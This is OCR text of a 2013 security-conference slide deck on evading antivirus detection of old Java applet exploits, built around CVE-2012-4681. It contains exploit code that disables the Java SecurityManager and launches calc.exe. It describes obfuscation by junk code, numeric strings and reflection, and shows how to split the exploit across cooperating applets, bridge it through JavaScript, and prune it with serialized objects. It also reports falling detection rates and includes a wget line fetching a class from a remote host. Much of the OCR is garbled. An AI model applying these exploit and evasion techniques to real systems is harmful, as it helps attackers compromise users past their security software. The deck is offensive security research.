CounterMeasure
Oftawa, 8 Nov 2013

Smashing Explmt Detectors:
The Java Exploits Case

Donato Ferrante
( @dntbug )




Who?

« Donato Ferrante

o Co-Founder and Principal Security Researcher at ReVuln Ltd.

« donato@revuln.com
« twitter.com/dntbug

Vulnerability Feeds

ReVuln Lid. I-day

Security Assessments |

revuln.com |

Penetration Testing |

twitter.com/revuln |

Consulting |

® ReVuln Ltd.

e



We talk about

Javao
_|_

Old Java Exploits
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Why Java?

3 Billion Devices Run Java

«

)
ORACLE’
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Why Old Exploits? (1/2)

From WebSense [1] “real-fime telemetry about which versions of Java are

actively being used across tens of millions of endpoints..”

V1.6_02,0.16

V1601, 0.05% Current Java Release ¥

V1.6_43,0.36%

V1.0to14, 8.6%%
V1.6_41,2.36%

V1.6_39, 0.65%

e 2 v1.7_10, 0.20%
Released March 2009 V16.38,1.12%

Released October 2012

V1E_14,0.38%

V1.7_07, 1.03%
Released April 2012

V1.7_06, 0.58%
V1.6_34,0.07%

I Released October 2009 I

V1.6_33,0.48%

V1.7_04, 0.45%
V1.6_32, 1.59%
W1.7_03,0.55%

V1.7_02,0.17%
V1.6_30,2.37%
V1.7_01,0.02%
V1.6_29, 1.64%
V1.6_27,1.11%

V1.6 18, 1.015%
Released March 2010 V-5-19.022%

V16_21,1.135%

® ReVuln Ltd. V3.6.23,0.59% Released March 2011
Released October 2010

* At the time of this report
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Why Old Exploits? (2/2)

From Kaspersky [2]
Top 10 versions of Java, August 2013

This pie chart was compiled using data from 26.82 million individual users of Kaspersky Security Network reporting the use of any version of Java
on their personal computers. Source (here and below): Kaspersky Security Netwoark.

4,93%

2
® ReVuln Ltd.

Compared to the same period in 2011-2012, the number of
attacks in 2012-2013 increased 33.3%.

Bl Java SE 7 U25
B JavaSETU21
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[ JavaSE7U9
Java SE 6 U17
M JavaSE6U31
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Java SE7 U15
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Welcome to Java World

YOu COULD GET LOST FOR DAYS

motifake.com

® ReVuln Ltd.
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Java World

Updated * mpossible to give an exact estimate
30% + Average based on publicly available info

«  Without using any 0-day vulnerabilities an
attacker can target ~70% of the Java users..

There are 194 matching records. Displaying matches 121 through 140.

Outdated g —

CVE-2012-5089

ISurmmary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.
availability, related to IMX.

Published: 10/16/2012

CVSS Severity: 7.6 (HIGH)

Well thats not
a gOOd Slgn. ISummary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.

Published: 10/16/2012
CVSS Severity: 10.0 (HIGH)

CVE-2012-5087

ISummary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.
Published: 10/16/2012

B ‘\ I) CVSS Severity: 10.0 (HIGH)
CVE-2012-5086
l ISummary: Unspecified vulnerability in the Java Runtime Environment {JRE) component in Oracle Java SE 7 Upd

related to Beans.
Published: 10/16/2012

CVSS Severity: 10.0 (HIGH)

® ReVuln Ltd.
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Java Users

CAUTION
PROTECTION

, REQURED{( .. But if you are using an outdated
| <> version of the JRE, you may feel safe
<= Dbecause yOu are using pro-active
/ pro-* / detectors to spot whenever
an old vulnerability is used against
your systems..

® ReVuln Ltd. o9



Our Goal

« To be able 1o bypass detections of these detectors
on exploits for old vulnerabilities

Attacker

Defender

5“ n"l"[lll
i
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The Defenders

 We randomly selected a number of different

defensive solutions, including:
Microsoft Security Essential / Defender
AVG Internet Security 2014

F-Secure Antivirus

TrendMicro Titanium Max Security

Symantec Norton 360
And others..

O O O O O O

« We had to pick a subset, because for obvious
reasons we didn't want to upload any sample
using new techniques on VirusTofal, etc.

® ReVuln Ltd. o]



The Attackers

An old vulnerability (CVE-2012-4681) and an old exploit
to harden (original exploit [3] by @jduck)

Class sun_awt_SunToolkit = FindClass(

Expression expr = new Expression{sun_awt_S5SunTeoolkit, , new Object[] { Statement.

expr.execute();

Field acc_Field = ((Field) expr.getValue()):

Permissions allPerms = new Permissions();

allPerms.add(new AllPermission())};

AccessControlContext allPermAcc = new AccessControlContext{new ProtectionDomain[] {

new ProtectionDomain({new CodeSource{new URL( Y., new Certificate[2]), allPerms)});

S5tatement disableSecurityManager = new S5tatement(java.lang.5ystem. ; , new Object[1]);

acc_Field.set(disableSecurityManager, allPermAcc);

disableSecurityManager.execute();

Via Applet
o A Java Applet is an application written in Java
o Embeddedon aweb page
o Executed within a Java Virtual Machine (JVM)
* N a process separate from the web browser itself

® ReVuln Ltd. 012



Applets

Sandbox Applets

The security manager is a class that allows applications to implement
a security policy. It allows an application to determine, ..., what the

operation is and whether it is being attempted in a security context
that allows the operation to be performed.

Sandbox applets cannot perform the following operations:

* They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.

* Thev cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
¢ Thev cannot load native libraries.

They cannot change the SecuritvManager |
¢ [hev cannot create a ClassLoader.

* They cannot read certain system properties. See Svstem Properties for a list of forbidden system properties.

Privileged applets

Privileged applets do not have the security restrictions that are imposed on sandbox applets and can run outside the security sandbox.

® ReVuln Ltd. ®13



Workflow

» The workflow is something like:

o Get access to sun.awt.SunToolkit
« Supposed to be a restricted package

o Call methods indirectly to trick the JVM Verifier

o Get access to a private field of Statement
« Via SunToolkit.GetField()

o Define a new access control context
« All permissions

o Create a Statement to disable the Security Manager
o Use the Field to change the permission of the Sfatement

o Disable the Security Manager

® ReVuln Ltd.

Other steps...
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Detection Rate

 We used the basic version of the exploit

il total

SHAZL6: dbe30d0ed45c02f4357deafT98bd36ddoed2bebdab225b7 3141570 18de 24628

File name: Gondw.class

|Detectiunratin: 30745 |

Microsoft Security AVG Internet TrendMicro Symantec Norton F-Secure Antivirus
Essential / Defender Security 2014 Titanium Max 360
Security

® ReVuln Ltd. @15



The Bytecode

 One of the “weaknesses” for Java code is in the
bytecode, as you can see it discloses a lot of

iInformation:
—— EEX

| 39810814 6AE617661 | |eFile
" 6C616E6T 2F537973 | | /beans/Statement java/lang
| 6AB17661 ZFECE16E | |tem securityManager

[ |Information From

75726974 792F5065 | [g/0bject / |

- T92F416C 6CEBE572 issions
i 72697479 ZFE8T26F |nissiun mon
i 75726974 T9ZF436F | |tectionDomain

E[ The source file name Explait.java

. BPAB666S BLE53AZF | |deSource  java/net/URL file:/
" 63657274 2F436572 | |// / o java/security/cert/Cer
« B12F7365 63757269 | |[tificate / p / q "java/securi
. BOZFBeTZ B1e0836l | |tv/AccessControlContext / r a

7/

Asking for Permissions  |java/security/AllPermission

. 732F4578 708726573 ||lcc 7 8 s 8@  jova/beans/Expres
| B7666F T2 4E616D65 | |sion java/lang/Class forName

Spawning a Process _ﬂ'\.l'ﬂflﬂﬂ ./PI"UCESS
p 9 J 9
' 91001273 TS6EZE6L t u java/lang/String sun.a /

- 4669656C 64010017 | |wt.SunToolkit 5 6 get.FieId
: Ba760877 BCAB3308 | | java/ lang/ref lect/Field v w

| 7CO70066 BCeO7000 | |8 x y z m 3 [ |Referencing an EXE colc.exe

| PO7FOA30 91000745 | |~  java/lang ‘_ﬁ

| 60657401 BO116A61

. 2F6C616E 672F4F62 | [Wa/lang/Process F=tLjava langznh

i 406A6176 B1ZFECAL ject;Ljavuflunngtring;[Ljuvunu ™~ [ [Butit'san Applet! /java/applet/Applet

. 6176612F 73656375 | [ng/Object;)¥ add (Ljava/secu

©

Wwa*

® ReVuln Ltd.
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Hardening: Base
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Introduction

 Backin 2011, | (with INREVERSE [4]) presented at the
CARO conference a study on Java malware,
vulnerabllities, and about common technigues used

to avoid detections [5].

« Surprisingly most of these techniques are still widely
used and still effective nowadays..

M ToDRY

??
R

f

i b
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Techniques

* While these techniques add nothing new to this
areq, they are sfill interesting to know

 We are going to quickly cover the following

technigues, just for the sake of completeness:

1) Flooding based
2) De-numberation
3) Reflection

® ReVuln Ltd.
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Flooding based

 Add arandom number of:
o Fake Variables
Fake Methods
Method chains
Conftrol-flow directives String s@ - "% + ml(a)m2(b) m3(c) ma(d) m5(e) m6(f);

String sl -~ m2{a)+m2({b)-ma{c) m6(d)- m3(e)m5({f);
{ m2{a) m2{b) ) s1 m2{a) m2(b};
[ mi{a) m2{b) ) s@ m2({a) m2i{b);
{ m3(a) mi(b) ) s1 5@ + s1 + s@;

String m@(byte a, byte b, byte c, byte d, byte e, byte f)

o O O

5@ 5l;

String sl " _N@Ba7foHSHdf@Bsfhsdnsadsasdia@sdfsdgfd”;
String s2 " _Hesdf79@8svas@dBad9fdsBRgBd9@gs9fgBsdig”;
String =3 " _Uapopo949@4592458sjofsTjsHhhgkhdkhfghi®™;
String s4 " _asodfddslkfj9@sdgs@9g7a@9gs9fvhzTfdpsgN”;
String s5 "g1283e92904c24234u2r234123414y12312M4232a12n324a52g1edr" . replace("e" ,"")

.replace("1","8" ). replace("2",""). replace("3","8").replace("4","@8"). replace("5","")
.replace("6",""). replace("7","2"). replace("8",""). replace("9","@" ). replace("@",""};
( s5.index0f("@") 8}{ s3 = "__s__".replace("_",""); }

( s5.index0f("s") 5. index0f("M") 8 ){s3 s3.concat("u");}
( s5.indexOf("M") 5. index0f("s") B){s3 s3.concat("n");}

® ReVuln Ltd. ®20



De-numberation

the ConstantPool*..

(int)c + Oxdf

String str = "CounterMeasure”;

o

original

0E 43 &F 75 GE 74 &5 72 4D &5 61 73 75 72 &5 01

= =
.CounterMeasure[ ‘

0..H.Y.@Y.@YJ
. [uoY. [moY. JT0Y.
(EnY. .. ZpY.. Moy
.. {EDY. . EDY.. (3

§F 10 0E BC O& 59 03 10 43 4F 59 04 10 &F 4F 539

a5 10 75 4F 5% 06 10 6E 4F 5% 07 10 74 4F 5% 03

10 &5 4F 59 10 06 10 72 4F 5% 10 07 10 4D 4F 539

10 08 10 &5 4F 59 10 09 10 &1 4F 55 10 OA 10 73

4F 5% 10 0B 10 75 4F 59 10 0C 10 72 4F 53 10 0D OY.. dPY...[FPY..
10 &5 4F 4C 03 3D 1C 2B BE AZ 00 16 B2 00 02 2B JEDL.=.+%s..%. .+
21 10 0E BC 0O& 5% 03 11 01 22 4F 5% 04 11 01 4E UL P R ) 1
4F 5% 05 11 01 54 4F 5% 0& 11 01 4D 4F 55 07 11 0Y.. . To¥.. HoY..
01 53 4F 5% 03 11 01 44 4F 59 10 06 11 01 51 4F 3oy. . ¥....0o
55 10 07 11 01 2C 4F 5% 10 08 11 01 44 4F 5% 10 Youud ... (Ooy.
08 11 01 40 4F 5% 10 OA 11 01 52 4F 59 10 0B 11 . @py...(RoY...
01 54 4F 5% 10 0C 11 01 51 4F 55 10 0D 11 01 44 I0Y. .. Q0Y.... 0
4F 4C 03 3D 1C 2B BE 22 00 1R BZ 00 02 2B 1C ZE OL.=.+%e..". .+

« An attacker can use numbers instead:

o String=[char] =] number]
o On numbers, one can perform math operations to obfuscate the original
String, and load the real string in memory only when needed at Runtime

® ReVuln Ltd.

If an attacker uses Strings they will appear as plain-text in

(int)e
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Reflection

According to IBM [6]: “Reflection gives your code
access to internal information for classes loaded info
the JVM and allows you to write code that works
with classes selected during execution, not in the
source code. This makes reflection a great tool for
building flexible applications”.

In our opinion the |ast sentfence should be:

*.. This makes reflection a great tool for building
flexible exploits’.

® ReVuln Ltd. 022



Reflection: Proxy Call

Object reflect() Exception
Etring klass_to_Lload "Obfuscator";
flass my_klass flass.forName(klass_to_Lload);

Object my_object = my_klass. newInstance();
String method_param "ALCIE4ADSR0RTERO597R35T7 2302084953657 2069610C50617309132AB321F35E108D102088@8781T783" ;

Method my_method = my_klass.getMethod("decbfuscate", Class[] { String.class });

my_method. invoke(my_object, Object[] { method_param });

1 3 4 S 5
Get Class Find Method Invoke Method Return Object

— — —
i i i

® ReVuln Ltd. ®23



Detection

 We applied a combination of these techniques

Microsoft Security AVG Internet TrendMicro Symantec Norton F-Secure
Essential / Security 2014 Titanium Max 360 Antivirus
Defender Security

« The detection dropped from 30 to 12 (average)

« If you are interested in this kind of hardening, there is a good
blog post [7] about evading AV by @SecObscurity

® ReVuln Ltd. 024



Hardening: Advanced

® ReVuln Ltd. ®25
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Sharing
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Sharing

* |In general, Applets on the same page share the
same JVM

« So what happens if an attacker uses multiple
Applets to cooperatively exploit a vulnerability ¢

» |f almost none of the Applets cooperating to exploit
the vulnerabillity is doing anything obviously evil
per-se, how can you detect them¢e

® ReVuln Ltd. e/



Sharing: Stage I

« Exploit-divide

o Split the original exploit code in several sub-exploits

Exploit

code

{ Exploit part 1 }l

{ Exploit part 2 }|

{ Exploit part 3 }|

Exploit
Code

® ReVuln Ltd.

{ Exploit part 4 ]l

Code

28



Sharing: Stage II-a

« Applet-divide

o Deploy the code to different Applets (even legit ones)

Applet

Sub-Expleit 1
{ Exploit part 1}

Applet

Sub-Exploit 2
{ Exploit part 2 }
Exploit
Ee { Exploit part 3}
Applet

Sub-Exploit 3
{ Exploit part 4}
\ Applet
Sub-Exploit 4
Exploit Code Applets
Code Code

® ReVuln Ltd. ®29



Sharing: Stage II-b

« Applet-divide
o Deploy the code to different Applets (even legit ones)
o The concept..

Attacker Web-page [Z]o]X]

Before o o Master Applet

X

Attacker Web-page E’@
Applet
Sub-Exploit
4
Original
Applet Exploit Minion Applets
Applet Applet Applet
Sub-Explait Sub-Exploit Sub-Explait

1 2 3
1:1

After

EXPLOIT : APPLET )
® ReVuln Ltd. ® 30
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Sharing: Stage III

e Run

o The master (main) Applet will instruct the minion Applets to execute their
code in a given sequence

o Note that the Master Applet is optional, minions can execute their code
independently or agree on a specific order.. without using any explicit

communication
Attacker Web-page I;”EI
Master Applet
TN 1
Applet
Sub-Exploit
4
8
Minion Applet
AW ~
Applet Applet Applet
Sub-Exploit Sub-Exploit Sub-Exploit
1 2 3
® ReVuln Ltd. 3]




1, 2.. wait.. calc

Applet

Uno(){ }
Class GetClass() Throwabhle {
Expression localExpression Expression(Class.class, “forMame", Object[]1{ “sun.awt.SunToolkit" });

localExpression.execute();
{Class)localExpression.getValue();

void disableSecurity() Throwable {

Due Applet

CODE="Uno.class" puel(){ }
WIDTH="1@8a"

HEIGHT="11@8" void init()
ALTGH="RIGHT" =

Error! {

=
Thread.sleep(50088);

Process localProcess = Runtime.getRuntime().exec("calc.exe");
CODE="Due.class" (localProcess null) localProcess.waitFor();

WIDTH="18e"

i " } (Exception e)}{ }
HEIGHT="118 }catch(Throwable t){ }
ALTGN="LEFT"=>
Error!

=

® ReVuln Ltd. @32



Recap

« We can harden Java exploits by splitting the
original exploit code info a number of different
cooperating Applets

« The more the attacker splits the original exploit the
harder will be to detect it

* The exploit may be difficult to understand statically

o Don’t think just about exploit Applets, think about mixing/injecting the
exploit code across a number of legit Applets

We didn’t use any explicit Applet communication..

® ReVuln Ltd. ® 33



AppletContext

java.applet

Interface AppletContext

public interface AppletContext
This interface corresponds to an applet's environment: the document containing the applet and the other applets in the same document.
The methads in this interface can be used by an applet to obtain information about its environment.

Since:

JOK1.0

® ReVuln Ltd. @34



AppletContext

* An interface that can be used by an Applet to
obtain information about its environment

« This intferface corresponds to an Applet’s
environment: the document containing the Applet
and any other Applet on the same document

« |t's like calling a function of a “remote” Object:

Applet callee = null;
String calleeName - nameField.getText();
callee - getAppletContext().getApplet(calleeName);
(callee ull) {
(callee Callee) {

((Callee)callee).processRemoteRequest( params );

® ReVuln Ltd. 35



AppletContext

« There are several methods, we are mainly
inferested in:

o Applet getApplet(String name)

* Finds and returns the Applet in the document represented by this
Applet Context with the given name

o Enumeration getApplets()

» Finds all the Applets in the document represented by this Applet
Context

+ Let’'s see a practical example..

® ReVuln Ltd. 36



Original
Exploit
Applet

L

Legit Applet

® ReVuln Ltd.

The Plan

Original
Exploit
Applet

o, 9 Applets to exploit

1 Applet to communicate

3 Applets to confuse

Legit Applet

® 37




The

« Communication

Channel Applet {
Class<?> klass null;
Field field mull;
Statement stmt null;
Permissions perm null;
AccessControlContext acc mull;
Statement last_stmt null;

void sendClass(Class<P> klass)

this. klass klass;
Class<?> recvClass() InterruptedException

{this. klass null) { Thread.sleep(500}; }
this. klass;

void sendStatement(Statement stmt)

this.stmt stmt;

Statement recvStatement() InterruptedException

({this.stmt null ) { Thread.sleep(500}); }
this.stmt;

® ReVuln Ltd.

Channel

« An Applet

« Define a channel structure
« To Send/Receive messages
* Blocking (optional)

« Easy way to deal with Applets
synchronization

® 38



The Workflow

One
(1)
Two
(2)
Fero
(0)

Master
L——"'>

(m)

Applets communications made via Channel

Send and Receive data from the channel

Applet X

Channel

Applet Y

——_—\‘--,.,

N

Spin until the message is available in the Channel

® ReVuln Ltd.

Applets Interaction

Channel Logic
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Master

One
(1)

Two
(2)

Zero
(0)

Master

(M)

Applets communications made via Channel

® 40



Master

 Applet M y
1) Produce Class<e>

2) Send Class<e> e e
3) Try to pwn.. void getChannel()

{channel null)

Enumeration applets getAppletContext().getApplets()

(applets. hasMoreElements()) {
Applet applet {Applet)applets. nextElement()
(applet Channel) {
void init(} channel (Channel)applet;
L]

GetChannell();

Class=?> klass = GetClass();
channel.sendClass(klass);

boolean pwned false;
(! pwned)
{
Thread.sleep(100@);

Process localProcess = Runtime.getRuntime().exec("calc.exe")

pwned true;

(Exception e){}

t[1{ "sun.awt.SunToolkit™ }};

localExpr
!

® ReVuln Ltd. 0 4]
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Zero

One

Two

(2)

Class<?>

Master
<
(W (M)

Try to execute calc.exe

ES

Applets communications made via Channel

42



Zero

 Applet0
1) Wait for Class<g>
2) Produce Expression
3) Exec Expression
4) Produce Field
5) Send Field

Expression _getExpression(Class<?> sun_awt_SunToolkit)

Expression expr Expression{sun_awt_SunToolkit, "getField", Object[] { Statement.class, “acc" });
expr;
void init()

void _execExpression(Expression expr)

GetChannel();

-3,

Class<?> klass channel. recvClass(); {

expr.executel);

Expression expr _getExpression(klass); (Exception e){}

_execExpression{expr);

Field field _getField[e){pr}; Field _getField{Expression expr)
channel.sendField(field);

Field acc_Field ((Field) expr.getValue());
acc_Field;
(Exception e){}

null;

® ReVuln Ltd. @43



One

One
(1)
Two
(2)
Field Three
Zero (3)
(0)
,
Execute Expression :
Class<?> \
Applets communications made via Channel '
Master .
L € e 1
(M) [T e -

Try to execute calc.exe

ES

® ReVuln Ltd.
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ne
 Applet 1

1) Produce Permissions

2) Produce AccessControlContext /
3) Send Permissions

4) Send AccessControlContext

Permissions _getPermissicns()

Permissions perms Permissions();
perms;

void init() —
AccessControlContext _getAccessControlContext{Permissions perms)
GetChannel(); {
perms . add { AllPermission());
Permissions perm _getPermissions(); AccessControlContext acc AccessControlContext( ProtectionDomainl] {
ProtectionDomain( CodeSource( URL("file:///"), Certificate[@]), perms)

)

AccessControlContext acc = _getAccessControlCentext{perm);

acc;
channel.sendPermissions(perm);
channel.sendAccessControlContext(acc); (MalformedURLException mue){}

null;

® ReVuln Ltd. ® 45



WO

AccessControlContext

One
(1)

Do Permissions and
AccessControlContext

Three
Zero (3)
(0)

\

e m ===y

Execute Expression
Class<?>

Applets communications made via Channel

Master
L e
[ T

Try to execute calc.exe

ES

® ReVuln Ltd.
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WO
 Applet 2

1) Produce Statement

2) Wait for Field

3) Wait for AccessControlContext
4) Set Field

5) Send Statement

nt(} // step 7
disableSecurityManager

disableSecurityManager;

void init()

setBackground(Color.black);

ecurityManager - _getStatement();
{ allPermAcc = channel.recvAccessControlContext();
1 field 1.recvField();
tField(disab urityManager, allPermAcc, field);

channel .sendLas ement(disableSecurityManager);

® ReVuln Ltd. @47



Three

AccessControlContext

Do Field and Statement
One
(1)
Do Permissions and Two Statement
AccessControlContext (2)
Field Three
Zero

(3)
(0)

i
1
Execute Expression
Class<?>

Applets communications made via Channel

Master
L e
[ T

Try to execute calc.exe

ES

® ReVuln Ltd.
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Three

« Applet 3
1) Wait for Statement
2) Disable Security Manager /

void imit()
GetChannel();
Statement disableSecurityManager channel. recvLastStatement();

_execDisableSecurity(disableSecurityManager);

}

void _execDisableSecurity(Statement disableSecurityManager)

i
disableSecurityManager.execute();
(Exception e){}

® ReVuln Ltd. 049



Three

AccessControlContext

One Do Field and Statement
(1)
Statement
Do Permissions and :gz
AccessControlContext
Field U5z
Zero

(3)
(0)

i
Execute Expression

Class<?>

DisableSecurityManager
Applets communications made via Channel

L—’__) Master P '

L

Try to execute calc.exe

=

® ReVuln Ltd.
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Master Again

AccessControlContext

One
(1)

Do Permissions and
AccessControlContext

Zero
(0)

-----------

Execute calc.exe

Do Field and Statement

Two
(2)

Field

Execute Expression

Statement

Three
(3)

Applets communications made via Channel

\

DisableSecurityManager

View Edit Help

femmmm=— ===y

9006 00GE 0GGE 0200

T
]

1

D
) Dword

o
) Word

NeNeNC)
H
=

2
B

E-MME

E :
- (6 |2
E B
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Remaining Applets

- Applet4,56? | owm
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Recap

Take Java exploits hardening to the next level

Useful to increase the level of complexity

It's basically using Java with Java

What about mixing languages?

® ReVuln Ltd. ®53



JavaScript

LiveConnect provides Javascript with the ability to call methods of Java classes and vice-versa using the existing Java infrastructure.

Older versions of Gecko included special support for the Java<->Javascript bridge (such as the java and rackages global objects),

but as of Mozilla 16 (Firefox 16 / Thunderbird 16 / SeaMonkey 2.1 3) LiveConnect functionality is provided solely by the Oracle's Java
plugin.

® ReVuln Ltd. ® 54



JavaScript

« The Java-JavaScript functionality supported by the JRE is
called LiveConnect

« LiveConnectis a feature of Web browsers that allows
Java and JavasScript software to intercommunicate
within a web page

 From Java: it allows an Applet to invoke the embedded
scripts of a page or to access the built-in JavaScript
environment

* From JavaScript: it allows a script o invoke Applet
methods, or o access the Java runtime libraries

® ReVuln Ltd. ®55



JavaScript

« To use JavaScript, Java code needs:
o netscape.javascript.*

« |f you reference these JavaScript classes, you will
need to add plugin.jar to your CLASSPATH

« Af Runtime, the Java Plugin automatically makes
these classes available to the Applets, so no
changes to the Applets or how they are set up are
necessary
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The Plan

Webpage.. start g@ Webpage.. J5 moves.. g@
Applet Applet
HTML Page Content
Javascript Javascript d
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The Plan II

Waebpage.. Java moves..
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Pwn..

Applet
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HTML Page

* NOTE: the following is only one of the possible ways
to iImplement this kind of communication

JavaScript

“Status info”
(debugging)

Applet

® ReVuln Ltd. ® 59



JS-side Code

print some status info via div

return a string

autput.

output.innerHTML
"dbmd

use some JS obfuscation on
the process name: calc.exe

® ReVuln Ltd. ® 40



Java-side Code I

Fero IT

t.getWindow(this);

\‘define JS-gate

Wabpage \ g@
j=_pgate.call("getProcessName", 4 I"\PPJE"'
) JavaScript
Java/JS
. . HTML
Function mapping

® ReVuln Ltd. 04]



The Final Mix

expr_one, { ct[]{ expr_two });

expr_one E ableSecurityExprone();
expr_two ableSecurityExprTwo();

it, expr_one, ( t { t expr_two });

[2]), perms)

t[1]);
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LiveConnect

e Can use information coming from HTML tags
« Can use information coming from JavasScript
- JavaScript code can be obfuscated, etc..

« Can use multiple Applets with JavaScript comm.

« Requires to evaluate both: Java and JavaScript

® ReVuln Ltd. ® 463



® ReVuln Ltd.

What about detection?

RELUAD BEFORE
"YOU GO'IN THAT;ROOM
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Detection Rate

« When using sharing techniques and a very minimal
obfuscation..

Joff-tchoff-tchoffo-tchoffo-tchoff!

® ReVuln Ltd. ®65



1,2,3,...,1000 JVM



Multiple JVM

« Applets can run in different JVMs

o Evenif they are on the same document

 We need to set the following parameter:
o separate_jvm = true

* Running in multiple JVMs has two implications:

o Attackers:
« Can’'trely directly on the status of the “shared” JVYM
* Need to split the original exploit carefully
« X-JVM communication

o Defenders:

« Possible in-memory detection should be now performed on a set of
different JVMs
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Multiple JVM

Web multi JTVM

[LIBIX]

Applet 1

Applet 2

Inter-JVM Communication

Applet 3

JavaSeript

® ReVuln Ltd.

An example of X-JVM communication
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X-Origin

® 49



X-Origin

From: http://docs.oracle.com/javase/tutorial/deployment/applet/security.html

Sandbox Applets
Sandbox applets are restricted to the security sandbox and can perform the following operations:

¢ They can make network connections to the host they came from.
* They can easily display HTML documents using the showDocument method of the Sava.applet.2ppletContext class.
* They can invoke public methods of other applets on the same page.
* Applets that are loaded from the local file svstem (from a directorv in the user's CLASSPATE) have none of the restrictions that
* Thev can read secure system properties. See Svstem Properties for a list of secure system properties.
* When launched by using JNLP, sandbox applets can also perform the following operations:
o They can open, read, and save files on the client.
o They can access the shared system-wide clipboard.
o They can access printing functions.
© They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP ¢

Sandbox applets cannor perform the following operations:

They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).

* IHEV CEI]IIOE Toaﬂ ﬂﬂ.E{"E ﬁEI’ﬂﬂES.

a Tharr ccceat ahaeea the ©amedb A Taeamae

They cannot connect to or refrieve resources from any third party server
(any server other than the server it originated from).
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X-Origin

« |t's tricky

« We can’t leave the domains where the Applets are
hosted

- But we can share information/resources across
different remote domains hosting different Applets

« JavaScripf!

® ReVuln Ltd. e/]



X-Origin

http://domain-L/app.htm

® ReVuln Ltd.

http://demain-L/app.htm

M| [=] k3 hitp://domain-R/epp. ktm

Applet Local

X

JavaScript and HTML

Applet Remote

@

-

Points to
Applet Remote

Remote Resources

http://domain-R/app.htm
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Quick Recap

« There are several ways to harden Java exploits:

o Single or Multiple JVM

o No-communication
« Timers or brute-forcing of the JVM status

o With communication
« AppletContext and JavaScript

o On different or same domains

« We want more..

As part of the exploit code is still in “bytecode”

o Evenifinthis case it's scattered among different Applet/HTML/JavaScript
pieces
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Serialization

AC ED 00 05 73 72 00 OC 52 &5 56 75 &C 6E 53 &5 —-i..ar..ReVuln3e
72 &9 &1 &C 77 &8 D3 39 E9 4D 57 9B 02 00 00 78 rialwhO9éMW....x
70 &}
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Introduction

« That's ACED cafe.. babe

« Serialization is the process of translating dato
stfructures or object state into a format that can be
stored [..] and resurrected later in the same or
another computer environment [8] mem::izesaacaznes

75 72 6% 74 7% ZE 50 65 72 6D 69 73 73 6% &F 6E

« A sequence of bytes

« Can be used to recreate Object
in memory..

® ReVuln Ltd. @76



Serialize and Deserialize

|serializz( myQObject ) |d_ese:r‘ialize( m‘gObjecT.ser' )J

Serialization Deserialization

An Object can be serialized or deserialized via:

o public final void writeObject(Object x) throws IOException
o public final Object readObject() throws IOException, ClassNotFoundEx.

® ReVuln Ltd. /7



Deserialization

Compenants

Al |Applet
02 |Object
C2 |Class definition for 02

definition for 02 found

® ReVuln Ltd. ®/8



read Object()

 The readObject() method is called by the JVM
whenever it will fry to deserialize an object.. A good
spoft to place callbacks

- Define your readObject()
- Produce a serialized Object

- Let another class use the serialized Object

Deploy

- Wait for the JVM to call readObject()

® ReVuln Ltd. /9



Using Serialized Obiject

5
Disable Security Manager < GET /SerialPay.class HTTP/1.1

(byte}@x72, (byte}@x8@, (byte)}@x@3,- (byte)}@x53,  (byte)dx
(byte)dx72, (byte)dx69, - \DyTE )uUXD (byte)oxeC, - (byte)dx
(byte)dx [byte}@w-JJ (byte)dxD9, (byte)dxl3, (byte)d

byte []1 serialPay

byte)d [(byte)@xED byte)oxee,/ (byte)exds, (byte)dx73
(byte) (by i, (byte)@d (byte)
(byte)a: (byte)excl, (byte)d (byte)@:
(byte)@: (byte)@xD9, (byte)@ (byte)
(byte) (byte)e (byte)e (byte)
(byte)oxdd, (byte)dxdd, (byte)dx] (byte)dxTE

void imit()

ObjectInputstreaml ByteArrayInputStream{ serialPay ) ). readObject();

Process localProcess = Runtime.getRuntime().exec("calc.exe");

® ReVuln Ltd. @30



Caveat |

e |f we serialize a non-standard JRE class..

CN len CN value

magic |
|AC EDJoo a5 73 72 l'_'ll'_'lll'_'II:IEZ 65 56 75 6C 6E 53 EEI —i..ar..BeVulnse
[V &9 &1 &C) 77 &8 D3 -] riglwhQO%eMW....x

70 E

ReVulnSerial + .class

wget http://remote_host/pwn/me/ReVulnSerial.class

® ReVuln Ltd. e8]



Weak Links

A weak link is a serialized object related to a
non-standard JRE class

« Because of its nature a weak link will disclose* its original
class (and its bytecode) during deserialization

« To avoid weak links and reduce the amount of info in a
class file, an attacker can go over all the classes
required by the exploit and check whether they are
standard & serializable JRE classes.. and prune..

 Welcome Exploit Pruning..

® ReVuln Ltd. 082



Exploit Pruning

It produces a mutation M(E) of an input exploit E, reducing the bytecode
info, without infroducing weak links.

1. Select* a Serializable and Standard Class C in E

2. Collect all the code that updates the status of an object O (type C)
3. Check for dependencies*

4. Prune this code (P)

5. Use the pruned code P to produce a serialized object §, which
represents the updated status of the object O in the exploit context

6. Replace P in E, with an assignment like: O = deserialize( S )

/. Repeat* steps from 11to 6

® ReVuln Ltd. ®33



Exploit Pruning

73 72 00 1% 6R 61 76 61 ZE 73
localPerm dons(Y; 72 €3 74 7% 2E 50 €5 72 60 €% 73 73 €% &F &E
ions . add( _ : : 43 6D 4B 4D D2 €8 OF 50 03 00 02 4C 00 0D &1

ocalPrc¢tectionDomain P L ile Certi; =[@]), localPerm
lociilAcc ControlContext

', localStatement, localAccessControlContext);
localStatement . executef };
java.security

Class Permission

java.lang.Object
java.securyly Permission

serialPerms }).readObject();
All Implemented Interfaces: J \

Serializable, Guard

Direct Known Subclasses:

AllPermission, BasicPermission, FilePermission, h
t localStatement
localPerm ons = getPermiss

1 localProtectionDomain
localAcc ontrolContext

localStatement, localfcc ontrol

® ReVuln Ltd. e 84



Caveat 11

More info re. Serialization format..

Serialization format detailed in:

No .class definifion » No info on the ACED stream.. FALSE!

o Java Object Serialization Specification, Chapter 6 [9]

No CAFEBABE from ACED but..

//// BEGIN stream content output
ReVulnSerial hOx7e0001 = r 0x7e0000;
//// END stream content output

//// BEGIN class declarations (excluding array classes)
class ReVulnSerial implements java.io.Serializable {

}
//// END class declarations

® ReVuln Ltd.

//// BEGIN instance dump
[instance 0x7e0001:
0x7e0000/ReVulnSerial
field data:
0x7e0000/ReVulnSerial:

1
//// END instance dump

®35



Caveat II cont.

MyClass Serializable { read: MyClass _hO0x7e0002 = r 0x7e0000;
String re_s; //// BEGIN stream content output
